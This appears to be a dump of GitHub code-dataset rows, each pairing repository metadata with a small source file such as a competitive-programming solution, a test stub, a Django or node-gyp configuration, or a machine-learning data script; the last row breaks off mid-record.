"chiayik_tan@mymail.sutd.edu.sg"
] | chiayik_tan@mymail.sutd.edu.sg |
fc2adf8051fdd9f97147f4dc02075974b54ab7ac | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p03265/s414771268.py | b56306c65e375123788a4b9e6db496b3f1d196d4 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 147 | py | x1, y1, x2, y2 = map(int, input().split())
a = x2 - x1
b = y2 - y1
x3 = x2 - b
y3 = y2 + a
x4 = x3 - a
y4 = y3 - b
print(f'{x3} {y3} {x4} {y4}') | [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
a22223b26b8737255728236d842d299cecf4eb12 | d91a0186cec0452a8eb54fd6fabe0ef9e75cd738 | /chapter_8/exercise_8.16/build_prof_module.py | 301a4e69f18d34e27417fae0a4179c61e1060dee | [] | no_license | MaximZolotukhin/erik_metiz | 31a6f5146b8bb58b8f04a6b9635b36a67830e52a | 8afde60aa2bddd6858a5f7a7189169a82bde4322 | refs/heads/main | 2023-05-03T07:39:06.731413 | 2021-05-30T19:04:31 | 2021-05-30T19:04:31 | 361,544,267 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 350 | py | # Передача неограниченного числа именованных аргументов
def build_profile(firs_name, last_name, **user_info):
"""Строит словарь с информацией о пользователе"""
user_info['firs_name'] = firs_name
user_info['last_name'] = last_name
return user_info
| [
"ScorpionEvil777@gmail.com"
] | ScorpionEvil777@gmail.com |
407d88f8bd05212b374fa5dd67bf6d0bcceb9d30 | 4c5d113b19bf8d55d2d94fe7dc08fd90e0152174 | /thor/constants.py | 1787df00d88af014488203ee7972eb248d049a43 | [
"BSD-3-Clause"
] | permissive | swipswaps/thor | f4b2b956fbd71c3fa4a84d457ff67f158d9e9c21 | d3d1dcbe86f67a62c90b4cde3fc577e414825cf2 | refs/heads/master | 2023-04-05T11:48:31.884619 | 2021-02-12T19:38:23 | 2021-02-12T19:38:23 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,014 | py | import numpy as np
class Constants:
# km to au
KM_P_AU = 149597870.700
# seconds to days
S_P_DAY = 86400.0
# Speed of light: AU per day (173.14463267424034) (299792.458 km/s -- DE431/DE430)
C = 299792.458 / KM_P_AU * S_P_DAY
# Gravitational constant: AU**3 / M_sun / d**2 (0.295... | [
"moeyensj@gmail.com"
] | moeyensj@gmail.com |
2dd3b4102b27ed2302263574898acc47681bba6c | 43eb7f8581a8dbfa1298b4e6d84fc7b7a552e335 | /python/kserve/test/test_v1beta1_explainer_config.py | 462733a4fe7179cd230f7ac00ba92e086e952e08 | [
"Apache-2.0"
] | permissive | Suresh-Nakkeran/kserve | c2d114f7258a70b4c8ddeb8ee8c584d4eee0f81b | d3910e0fc6af4bf73156a53bd912d6e4acc87533 | refs/heads/master | 2023-07-29T00:17:28.900100 | 2021-09-11T08:04:54 | 2021-09-11T08:04:54 | 406,243,335 | 0 | 0 | Apache-2.0 | 2021-09-14T05:59:05 | 2021-09-14T05:59:04 | null | UTF-8 | Python | false | false | 2,073 | py | # Copyright 2020 kubeflow.org.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,... | [
"noreply@github.com"
] | Suresh-Nakkeran.noreply@github.com |
6331b3fa3fff6a07d5467b20340d9d1d30e4fe9b | ad13583673551857615498b9605d9dcab63bb2c3 | /output/instances/nistData/atomic/unsignedByte/Schema+Instance/NISTXML-SV-IV-atomic-unsignedByte-minExclusive-4-2.py | ad0db34b2b85a1754a789abff5f0a8024ff7d358 | [
"MIT"
] | permissive | tefra/xsdata-w3c-tests | 397180205a735b06170aa188f1f39451d2089815 | 081d0908382a0e0b29c8ee9caca6f1c0e36dd6db | refs/heads/main | 2023-08-03T04:25:37.841917 | 2023-07-29T17:10:13 | 2023-07-30T12:11:13 | 239,622,251 | 2 | 0 | MIT | 2023-07-25T14:19:04 | 2020-02-10T21:59:47 | Python | UTF-8 | Python | false | false | 302 | py | from output.models.nist_data.atomic.unsigned_byte.schema_instance.nistschema_sv_iv_atomic_unsigned_byte_min_exclusive_4_xsd.nistschema_sv_iv_atomic_unsigned_byte_min_exclusive_4 import NistschemaSvIvAtomicUnsignedByteMinExclusive4
obj = NistschemaSvIvAtomicUnsignedByteMinExclusive4(
value=218
)
| [
"tsoulloftas@gmail.com"
] | tsoulloftas@gmail.com |
7a92b6df84eaf024ce5f084a8fbb89c734db180b | 53fab060fa262e5d5026e0807d93c75fb81e67b9 | /backup/user_229/ch74_2020_04_13_03_09_30_010178.py | 593012b482da142f910dee4af2f450b410ca8283 | [] | no_license | gabriellaec/desoft-analise-exercicios | b77c6999424c5ce7e44086a12589a0ad43d6adca | 01940ab0897aa6005764fc220b900e4d6161d36b | refs/heads/main | 2023-01-31T17:19:42.050628 | 2020-12-16T05:21:31 | 2020-12-16T05:21:31 | 306,735,108 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 266 | py | def conta_bigramas(string):
dic = dict()
for i in string and x in string:
if i+x in string:
if i+x in dic:
dic[i+x] += 1
else:
dic[i+x] = 1
return dic
print(conta_bigramas("banana nanica")) | [
"you@example.com"
] | you@example.com |
424a7ef7d48763ef6c952dd34adea36b3238cc13 | 23f3349e8b50f0cb3e461bbd65c1ea8dec792d0b | /2_semestr/encryption_1.py | beb9439133bbf54535c99776ead5297b83c186b0 | [] | no_license | JacobLutin/Python_bmstu | d17866dbab0e74f0f9d600c4dbd9d53eb5c5b7be | 66fd8679de7556978b9cd1e9fd8646a8d7d6daa8 | refs/heads/master | 2020-05-29T14:40:09.310602 | 2017-03-27T05:18:58 | 2017-03-27T05:18:58 | 64,742,311 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,367 | py | def rotate(Tb,N):
for i in range(0,N//2):
for j in range(i,N-1-i):
tmp = Tb[i][j]
Tb[i][j] = Tb[n-j-1][i]
Tb[n-j-1][i] = Tb[n-i-1][n-j-1]
Tb[n-i-1][n-j-1] = Tb[j][n-i-1]
Tb[j][n-i-1] = tmp
return Tb
def PrintTable(Tb,N):
for i in rang... | [
"jacoblutin@gmail.com"
] | jacoblutin@gmail.com |
0fbe0e50be80a501c819d446dd212e8cea341c8d | 8862d671654ed336f1de2895323e4cf76f0855d7 | /syft/mpc/utils.py | 3a4a7d9b250c7487e661dab920df36ddfed39296 | [
"Apache-2.0"
] | permissive | Vinohith/PySyft | f0f29b000af586faca88756533079a4bfea17ff1 | 1921efeeda2c7b0bf93f17a33ddf59f8020fa653 | refs/heads/master | 2020-03-31T14:24:27.596173 | 2018-10-09T16:03:43 | 2018-10-09T16:03:43 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 893 | py | cache = {}
def egcd(a, b):
"""
greatest common denominator
:param a:
:param b:
:return:
"""
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
"""
calculate the multiplicative inverse of a modulu... | [
"liamtrask@gmail.com"
] | liamtrask@gmail.com |
9e77404a90a4c116a9c72e7dd494b94705ede353 | ffc02736617d5bb4308427b3df5e43811601cea0 | /examples/run_curl.py | b1dfee4e9ef691aaa9a75caf82946d6d611dde11 | [
"MIT"
] | permissive | weihancool/tf2rl | 4315dd94f8f924f15085f26a9434f6824aa3736c | 0ef45d4a32a177f14fb579c9c2332f71404a9595 | refs/heads/master | 2023-05-02T17:00:05.775610 | 2021-05-29T03:32:52 | 2021-05-29T03:32:52 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,618 | py | import dmc2gym
from tf2rl.algos.curl_sac import CURLSAC
from tf2rl.envs.dmc_wrapper import DMCWrapper
from tf2rl.experiments.trainer import Trainer
def main():
dm_envs = {
'finger': ['finger', 'spin', 2],
'cartpole': ['cartpole', 'balance', 4],
'reacher': ['reacher', 'easy', 4],
'... | [
"dev.ohtakei@gmail.com"
] | dev.ohtakei@gmail.com |
ea79b41539481557905fbd47f8df65758118b68d | 96ec8ea87fb2cfdd2d850a0471c9820f92152847 | /九章算法/递归/Fibonacci easy.py | ed586d5e4c2c29806c786838bc6a997aa82f867e | [] | no_license | bitterengsci/algorithm | ae0b9159fd21cc30c9865f981f9c18cf9c6898d7 | bf70d038b70c51edc6ddd6bfef1720fb5f9f2567 | refs/heads/master | 2023-08-10T10:22:18.774232 | 2023-07-31T21:04:11 | 2023-07-31T21:04:11 | 186,261,880 | 95 | 46 | null | 2023-07-31T21:04:12 | 2019-05-12T13:57:27 | Python | UTF-8 | Python | false | false | 323 | py | from functools import lru_cache
class Solution:
"""
@param n: an integer
@return: an integer f(n)
"""
@lru_cache(maxsize=10000)
def fibonacci(self, n):
if n == 1:
return 0
elif n in [2, 3]:
return 1
return self.fibonacci(n - 1) + self.fibonacci(n -... | [
"yanran2012@gmail.com"
] | yanran2012@gmail.com |
d7366dbf8bbfbc57e036cf38cc8c864998245935 | 97a192ac8a3feca408bb3f0ad746a8004e6bfcb7 | /to_do_list/venv/bin/pip3.6 | e29e4a64c8ccf31bea1aab4c20a66f68917835e0 | [
"MIT",
"Python-2.0"
] | permissive | DitooAZ/Python-Games | e46aed297c2e2ab2a5ca9869241a711d2e15f6e2 | 587cb499c57437acbe052d9eb5fb8d48272735e9 | refs/heads/master | 2023-03-21T00:34:28.405176 | 2021-01-30T15:25:22 | 2021-01-30T15:25:22 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 409 | 6 | #!/home/afroz/PycharmProjects/to_do_list/venv/bin/python
# EASY-INSTALL-ENTRY-SCRIPT: 'pip==10.0.1','console_scripts','pip3.6'
__requires__ = 'pip==10.0.1'
import re
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
... | [
"aaaanchakure@gmail.com"
] | aaaanchakure@gmail.com |
a547055c3a6c7346b003d025b49edfef8cd3e2b8 | 329d8c2e0a259ad4880774c84ca4f6b28bbb641c | /bangali_19/configs/augs/v1.py | 2ccdd35a4f447281decfd6fdc7264984bca77b04 | [] | no_license | dodler/kgl | 1d3eeb6032b74afb761abe5fa8620325594d5a75 | b17525299e98d41da6f6631bd796084097e8a94e | refs/heads/master | 2021-06-24T17:26:38.683242 | 2021-06-20T08:14:23 | 2021-06-20T08:14:23 | 192,477,506 | 7 | 0 | null | null | null | null | UTF-8 | Python | false | false | 334 | py | config = {
"arch": "multi-head",
"backbone": "se_resnext50_32x4d",
"pretrained": True,
"in-bn": True,
'opt': 'sgd',
'loss_aggregate_fn': 'mean',
'schedule': 'cosine_annealing_warm_restarts',
'T_0': 6,
'lr': 0.1,
'train_aug': 'augmentations.geom.v1',
'valid_aug': 'augmentation... | [
"tntlagf93@mail.ru"
] | tntlagf93@mail.ru |
f26abbd82e77317f1c957bdf7e3267f5c65f2d83 | 833e69b32f9bf9f9ac746ac46851cedae6366e63 | /hta_expense_management/models/expense_request.py | 415674635f4aa5001ca3aadb44016a0887ff5dc5 | [] | no_license | halltech-ci/odoo_15 | 2984d3ac5dbd446f2fb8ef49dd37ea53e71a0f71 | 8e587e38535ccf8fa10fd42be1bc75d957e63311 | refs/heads/main | 2023-08-23T14:48:10.712042 | 2021-11-06T20:14:46 | 2021-11-06T20:14:46 | 414,481,467 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,209 | py | # -*- coding: utf-8 -*-
from odoo import models, fields, api, _
from odoo.exceptions import UserError, ValidationError
class ExpenseRequest(models.Model):
_name = 'expense.request'
_description = 'Custom expense request'
_inherit = ['mail.thread', 'mail.activity.mixin']
_order = 'date desc'
... | [
"maurice.atche@halltech-africa.com"
] | maurice.atche@halltech-africa.com |
e97f08ac73a48b46ed2e88f1aa02f9e54c37b37e | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p03549/s657113138.py | 7bc42c0eb4301b72eea8570f2ec52dbe884e2fce | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 191 | py | n,m = map(int,input().split())
# 1ケースでかかる時間を求める
total = m*1900 + (n-m)*100
# 全てのケースで正解する確率の分母
prob_all = 2**m
print(total * prob_all) | [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
aec3ae45025c14557e08868f995361392ecd97e0 | a3d6556180e74af7b555f8d47d3fea55b94bcbda | /tools/binary_size/print_trybot_sizes.py | 3dfbbc52800a48e7e37c53d5d46648cf12e7eaa3 | [
"BSD-3-Clause"
] | permissive | chromium/chromium | aaa9eda10115b50b0616d2f1aed5ef35d1d779d6 | a401d6cf4f7bf0e2d2e964c512ebb923c3d8832c | refs/heads/main | 2023-08-24T00:35:12.585945 | 2023-08-23T22:01:11 | 2023-08-23T22:01:11 | 120,360,765 | 17,408 | 7,102 | BSD-3-Clause | 2023-09-10T23:44:27 | 2018-02-05T20:55:32 | null | UTF-8 | Python | false | false | 5,713 | py | #!/usr/bin/env python3
# Copyright 2022 The Chromium Authors
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Prints android-binary-size result for a given commit or commit range."""
import argparse
import collections
import concurrent.futures
import csv
import j... | [
"chromium-scoped@luci-project-accounts.iam.gserviceaccount.com"
] | chromium-scoped@luci-project-accounts.iam.gserviceaccount.com |
9b22cfd35b76e0c6d5d9df02c069057c37a0a9c7 | 51d8f003828d6ee6e6611f0e133b1e35cf400601 | /dnekcab-eciovni/invoice_api/core/migrations/0005_auto_20180831_1728.py | 6c7e489ba33b303a972e1f95773abfe4a6348581 | [] | no_license | tatubola/xpto | 23b5f7a42c13c7d39eb321e52b9b4b2d1ef76c4c | 6ed8cec23b06bccb1edf57e6b67af017f9a162d3 | refs/heads/master | 2020-04-02T11:05:24.560009 | 2018-10-23T17:41:10 | 2018-10-23T17:41:10 | 154,370,519 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 697 | py | # Generated by Django 2.0.8 on 2018-08-31 17:28
import django.core.validators
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('core', '0004_auto_20180827_1752'),
]
operations = [
migrations.AlterField(
model_name='fatura',
... | [
"dmoniz@nic.br"
] | dmoniz@nic.br |
210e2ef67d9dbcad596f1621a8653073ca4e2646 | 8168caa4ae066940dfedd788eeb107c5f65532ef | /node_modules/jest-haste-map/node_modules/fsevents/build/config.gypi | 77c829ebd83516aa0e33f98d86df08a9e4e5fdef | [
"MIT"
] | permissive | muzamilnazir/keeper | 099a922068e028ca51b14c9bf85135fc2a509cf1 | ade15bd80b95f31e640378db8a3ed9a1a2a4ea86 | refs/heads/main | 2023-06-18T18:28:01.293667 | 2021-07-07T07:17:52 | 2021-07-07T07:17:52 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,702 | gypi | # Do not edit. File was generated by node-gyp's "configure" step
{
"target_defaults": {
"cflags": [],
"default_configuration": "Release",
"defines": [],
"include_dirs": [],
"libraries": []
},
"variables": {
"asan": 0,
"build_v8_with_gn": "false",
"coverage": "false",
"dcheck_al... | [
"mac@Macs-MacBook-Pro.local"
] | mac@Macs-MacBook-Pro.local |
955597662f9fa120479a85f48ef72fc1c51a6ba7 | 6189f34eff2831e3e727cd7c5e43bc5b591adffc | /WebMirror/management/rss_parser_funcs/feed_parse_extractSadhoovysinhumantranslationsWordpressCom.py | 76bd4a048313ef6e663c631631bd11116a32297d | [
"BSD-3-Clause"
] | permissive | fake-name/ReadableWebProxy | 24603660b204a9e7965cfdd4a942ff62d7711e27 | ca2e086818433abc08c014dd06bfd22d4985ea2a | refs/heads/master | 2023-09-04T03:54:50.043051 | 2023-08-26T16:08:46 | 2023-08-26T16:08:46 | 39,611,770 | 207 | 20 | BSD-3-Clause | 2023-09-11T15:48:15 | 2015-07-24T04:30:43 | Python | UTF-8 | Python | false | false | 596 | py |
def extractSadhoovysinhumantranslationsWordpressCom(item):
'''
Parser for 'sadhoovysinhumantranslations.wordpress.com'
'''
vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
if not (chp or vol) or "preview" in item['title'].lower():
return None
tagmap = [
('PRC', 'PRC', ... | [
"something@fake-url.com"
] | something@fake-url.com |
e6b1a7a5d7f6c2ea08dcd31845e29efc0e8c606f | 020fed990dcab7417f82bde82f19d6beae58b06f | /ethiostockdemo/ethiostockdemo/urls.py | af60814eaf5fbc6f4ca37c6961e8330427d55c92 | [] | no_license | TsiyonW/pracdjango | 2cb27522bf201543eb262e060f70a765d59236e3 | ef6d319fda2cde3d3c07b9e0162e30a6153cce5e | refs/heads/master | 2021-01-16T09:06:21.008123 | 2020-02-25T20:37:16 | 2020-02-25T20:37:16 | 243,053,765 | 0 | 0 | null | 2020-02-25T20:37:17 | 2020-02-25T17:07:47 | Python | UTF-8 | Python | false | false | 925 | py | """ethiostockdemo URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.0/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Clas... | [
"="
] | = |
ff1d767a12e4fd97828963a44224b8e3926cfc52 | 34ed92a9593746ccbcb1a02630be1370e8524f98 | /lib/pints/pints/tests/test_toy_rosenbrock.py | b22f4651ddea441cae2d604c240719ec522216c8 | [
"LicenseRef-scancode-unknown-license-reference",
"BSD-3-Clause"
] | permissive | HOLL95/Cytochrome_SV | 87b7a680ed59681230f79e1de617621680ea0fa0 | d02b3469f3ee5a4c85d756053bc87651093abea1 | refs/heads/master | 2022-08-01T05:58:16.161510 | 2021-02-01T16:09:31 | 2021-02-01T16:09:31 | 249,424,867 | 0 | 0 | null | 2022-06-22T04:09:11 | 2020-03-23T12:29:29 | Jupyter Notebook | UTF-8 | Python | false | false | 2,807 | py | #!/usr/bin/env python3
#
# Tests the Rosenbrock toy problems.
#
# This file is part of PINTS.
# Copyright (c) 2017-2018, University of Oxford.
# For licensing information, see the LICENSE file distributed with the PINTS
# software package.
#
import pints
import pints.toy
import unittest
import numpy as np
class Te... | [
"henney@localhost.localdomain"
] | henney@localhost.localdomain |
465623bff38a425e2f71d5f8761761b68aabd562 | 51a37b7108f2f69a1377d98f714711af3c32d0df | /src/leetcode/P968.py | adec6da448f1dd1be7449761ba15ed897b6927e1 | [] | no_license | stupidchen/leetcode | 1dd2683ba4b1c0382e9263547d6c623e4979a806 | 72d172ea25777980a49439042dbc39448fcad73d | refs/heads/master | 2022-03-14T21:15:47.263954 | 2022-02-27T15:33:15 | 2022-02-27T15:33:15 | 55,680,865 | 7 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,925 | py | # Definition for a binary tree node.
from functools import lru_cache
INF = 0xffffffff
class TreeNode:
def __init__(self, x):
self.val = x
self.left = None
self.right = None
class Solution:
def minCameraCover(self, root):
"""
:type root: TreeNode
:rtype: int
... | [
"stupidchen@foxmail.com"
] | stupidchen@foxmail.com |
e645f221824750ae1df6e085b30a4d11d74f99d1 | 5ed21f38903512ff931cb0527fc0a651a1572127 | /dag1/live_koding/gjettelek.py | b593a9791de1a0e0394b71192b55604fdfbfa7a4 | [] | no_license | kodeskolen/tekna_agder_h20_2 | 6eb52a21fa2425b82cb88108686cce0079ac71ab | 16e869ad48b2411b3f2b133f3adbb382863a744d | refs/heads/main | 2023-01-13T16:35:06.870744 | 2020-11-20T13:24:49 | 2020-11-20T13:24:49 | 310,009,393 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 838 | py | # -*- coding: utf-8 -*-
"""
Created on Thu Nov 12 19:28:47 2020
@author: Marie
"""
# Vi "tenker" på et tall mellom 0 og 100
# Spilleren gjetter et tall
# Dersom gjettet er rett så er spillet over
# Dersom gjettet er for lavt eller høyt, får spilleren beskjed
# Spilleren får gjette på nytt
# Spilleren har begrenset me... | [
"roald.marie@gmail.com"
] | roald.marie@gmail.com |
b8e423e679443fc6f005a3baffb6c63992fc9384 | 98420fdd66b8dce46ef88cd34fcace36777fa232 | /py3/torch_motion_retarget_autoencoder/main_train.py | 63456fb7a475f29d83de2bf2e04dd5e88bb0e5e9 | [] | no_license | Daiver/jff | f972fe7464f78ba6008a036b697ea3f04b7010a4 | 33d6a781af8d7f6ae60c25e10051977af2fef1b9 | refs/heads/master | 2023-04-07T06:33:41.487938 | 2022-05-03T10:07:32 | 2022-05-03T10:07:32 | 12,180,634 | 1 | 1 | null | 2023-04-03T19:25:00 | 2013-08-17T15:03:14 | C++ | UTF-8 | Python | false | false | 3,558 | py | import numpy as np
import cv2
import torch
import torch.optim as optim
import torch.nn as nn
from torch.utils.data import DataLoader
import np_draw_tools
from data_generation import make_rectangle_dataset, make_circle_dataset
from models import Encoder, Decoder
from utils import numpy_images_to_torch
def main():
... | [
"ra22341@ya.ru"
] | ra22341@ya.ru |
db035bcd80d85a97d93d283c7d8154a62e1f3161 | 9d530dc15db600c0630bf7f5141a1277e11d7da6 | /wagtail_shell/test/urls.py | e816acb3672e0c9c3b22078e2ca91f8db34363bd | [
"BSD-3-Clause"
] | permissive | kaedroho/wagtail-shell | a7b549800a6302d2338d79c5472457662b0d01d3 | cddab026bc3d647c77eac7e31236b662276698af | refs/heads/main | 2023-04-13T10:55:56.916119 | 2021-04-26T17:12:41 | 2021-04-26T17:13:06 | 312,389,122 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 431 | py | from django.conf.urls import include, url
from django.contrib import admin
from wagtail.admin import urls as wagtailadmin_urls
from wagtail.documents import urls as wagtaildocs_urls
from wagtail.core import urls as wagtail_urls
urlpatterns = [
url(r"^django-admin/", admin.site.urls),
url(r"^admin/", include(w... | [
"karl@kaed.uk"
] | karl@kaed.uk |
caea99874c479e8fff1f0d8d70f1c26b8bf9f39e | 344e2956b4e2a30a8ef7532d951f96d995d1dd1e | /18_mmaction/lib/mmcv/mmcv/ops/__init__.py | b38aff92534ddc32fe7d6ee4eb59383b38c688f7 | [
"Apache-2.0",
"LGPL-3.0-only",
"MIT",
"LicenseRef-scancode-proprietary-license",
"BSD-3-Clause",
"GPL-3.0-only"
] | permissive | karndeepsingh/Monk_Object_Detection | e64199705326e4cd65e4b29946cae210a4ef9649 | 425fa50a3236cb9097389646275da06bf9185f6b | refs/heads/master | 2022-12-22T18:26:53.933397 | 2020-09-28T12:49:50 | 2020-09-28T12:49:50 | 299,307,843 | 1 | 1 | Apache-2.0 | 2020-09-28T12:52:18 | 2020-09-28T12:52:17 | null | UTF-8 | Python | false | false | 2,136 | py | from .bbox import bbox_overlaps
from .carafe import CARAFE, CARAFENaive, CARAFEPack, carafe, carafe_naive
from .cc_attention import CrissCrossAttention
from .corner_pool import CornerPool
from .deform_conv import DeformConv2d, DeformConv2dPack, deform_conv2d
from .deform_roi_pool import (DeformRoIPool, DeformRoIPoolPac... | [
"abhishek4273@gmail.com"
] | abhishek4273@gmail.com |
62923615d10f8b267c51040f2482bd55da9e58cf | 7615badcbd9cc22a263c5f206e951c8c1e6b3e70 | /setup.py | 81eed71015da29a0162829431b4559150308db73 | [] | no_license | winkidney/PyMonitor | 216c88140ea942d23e8f3a634e63c5e3052f46c8 | f772153af217d89b74e5fca2427f3d92ca919f34 | refs/heads/master | 2021-01-23T15:29:45.711809 | 2014-09-18T06:06:14 | 2014-09-18T06:06:14 | 24,089,355 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 564 | py | import os
from setuptools import setup, find_packages
here = os.path.abspath(os.path.dirname(__file__))
requires = [
'psutil',
]
setup(name='PyMonitor',
version='0.1',
description='Monitor system status',
classifiers=[
"Programming Language :: Python",
],
author='',
a... | [
"winkidney@gmail.com"
] | winkidney@gmail.com |
d3480cfe285646810d63a5bcafcf319224170244 | d4679b63ff98399a2e2c90a70196ca61be12d5ed | /Part_1/Алгоритмы и структуры данных/Homeworks/Sort1/quick_sort_new.py | 96af6e92a923fca83c9b9828b92291d6e436ae13 | [] | no_license | akoshel/MADE | 9a702064f9dd5f89664efed4e76f9a2fb0a94743 | e0c3aceaf190bb86bae9f8239ae181d5529bc044 | refs/heads/main | 2023-04-28T14:25:53.210880 | 2021-05-19T16:23:52 | 2021-05-19T16:23:52 | 328,123,200 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 925 | py | from random import randint
list_lenght = int(input())
raw_list = list(map(int, input().split(' ')))
assert(len(raw_list) == list_lenght)
def quick_sort_step(input_list, l, r):
ll = l
i = l
hh = r
x = input_list[l]
while i <= hh:
if input_list[i] < x:
input_list[ll], input_list[... | [
"johndoe@example.com"
] | johndoe@example.com |
38713d85ffd79716879376e48de891c2aaa7b329 | 13f4a06cd439f579e34bf38406a9d5647fe7a0f3 | /nn_ns/data_structure/TreeNodeOps/UnbalancedMultiWayTreeNodeOps/IUnbalancedMultiWayTreeNodeOps.py | 628ddf2735bb46b14ed81b58dd3dae4abfa781b8 | [] | no_license | edt-yxz-zzd/python3_src | 43d6c2a8ef2a618f750b59e207a2806132076526 | 41f3a506feffb5f33d4559e5b69717d9bb6303c9 | refs/heads/master | 2023-05-12T01:46:28.198286 | 2023-05-01T13:46:32 | 2023-05-01T13:46:32 | 143,530,977 | 2 | 2 | null | null | null | null | UTF-8 | Python | false | false | 6,174 | py | __all__ = '''
IUnbalancedMultiWayTreeNodeOps
'''.split()
from .abc import not_implemented, override
from ..TreeNodeOps.IOrientedTreeNodeOps__inorder import \
IOrientedTreeNodeOps__inorder
class IUnbalancedMultiWayTreeNodeOps(IOrientedTreeNodeOps__inorder):
'''
assume nonleaf.num_children > 0 sinc... | [
"wuming_zher@zoho.com.cn"
] | wuming_zher@zoho.com.cn |
f2c89a5b91a1fc71833013689a89d7bf15352771 | beea74a2a1f2445b107af411197e8b6300e715e6 | /supervised_learning/0x12-transformer_apps/1-dataset.py | 486a2ffdb9d99fe7221d1babf782fa0a793b1816 | [] | no_license | 95ktsmith/holbertonschool-machine_learning | 0240d8fa8523b06d3353c2bffa74205b84253be8 | 2757c8526290197d45a4de33cda71e686ddcbf1c | refs/heads/master | 2023-07-26T16:02:26.399758 | 2021-09-09T15:57:57 | 2021-09-09T15:57:57 | 310,087,776 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,150 | py | #!/usr/bin/env python3
""" Dataset """
import tensorflow.compat.v2 as tf
import tensorflow_datasets as tfds
class Dataset:
""" Class to load an prepare a dataset for machine translation """
def __init__(self):
""" Init """
data = tfds.load(
"ted_hrlr_translate/pt_to_en",
... | [
"95ktsmith@gmail.com"
] | 95ktsmith@gmail.com |
6bb4155195ddc4b87cc695213e8d01711e32e57a | 115d568228ea4dd48bc567fac1afbe90a67e9a8c | /LSTM/SegWords/BI-LSTM/Demo4/seqlib.py | 30ee4fca743daeff75bb34637089947b506e7f4c | [] | no_license | sunshinelu/NLPLearnNote | 6eb6b016ed18602be3a2fe8ce2f1bdb770efb226 | 76cfd64438e8acbf0aadc727675d7b17b63549e3 | refs/heads/master | 2020-03-08T07:03:25.652478 | 2018-05-06T14:13:02 | 2018-05-06T14:13:02 | 127,985,677 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,052 | py | #!/usr/bin/python
#-*-coding:utf-8-*-
'''
Created on 2018-04-25 15:41
@author:wangrs
'''
#1.导入模块包和语料库文件
import codecs
from gensim.models.word2vec import Word2Vec
import numpy as np
import nltk
from nltk.probability import FreqDist
import pandas as pd
from pickle import dump,load
from keras.preprocessing import sequence... | [
"sunlu900326@yeah.net"
] | sunlu900326@yeah.net |
9a8f98740162c5d7d7746170ae5aac8824d90bb8 | 930c207e245c320b108e9699bbbb036260a36d6a | /BRICK-RDFAlchemy/generatedCode/brick/brickschema/org/schema/_1_0_2/Brick/Average_Supply_Air_Flow.py | 9859e698689ef384cb9feebcee0e03310d17392d | [] | no_license | InnovationSE/BRICK-Generated-By-OLGA | 24d278f543471e1ce622f5f45d9e305790181fff | 7874dfa450a8a2b6a6f9927c0f91f9c7d2abd4d2 | refs/heads/master | 2021-07-01T14:13:11.302860 | 2017-09-21T12:44:17 | 2017-09-21T12:44:17 | 104,251,784 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 395 | py | from rdflib import Namespace, Graph, Literal, RDF, URIRef
from rdfalchemy.rdfSubject import rdfSubject
from rdfalchemy import rdfSingle, rdfMultiple, rdfList
from brick.brickschema.org.schema._1_0_2.Brick.Supply_Air_Flow import Supply_Air_Flow
class Average_Supply_Air_Flow(Supply_Air_Flow):
rdf_type = Namespace(... | [
"Andre.Ponnouradjane@non.schneider-electric.com"
] | Andre.Ponnouradjane@non.schneider-electric.com |
9f22af2e0e7505b1cc7333dc94157e766abb8b25 | 09e57dd1374713f06b70d7b37a580130d9bbab0d | /benchmark/startQiskit959.py | fdc98c144976bd8c7ca16f4120e60feff1cf388a | [
"BSD-3-Clause"
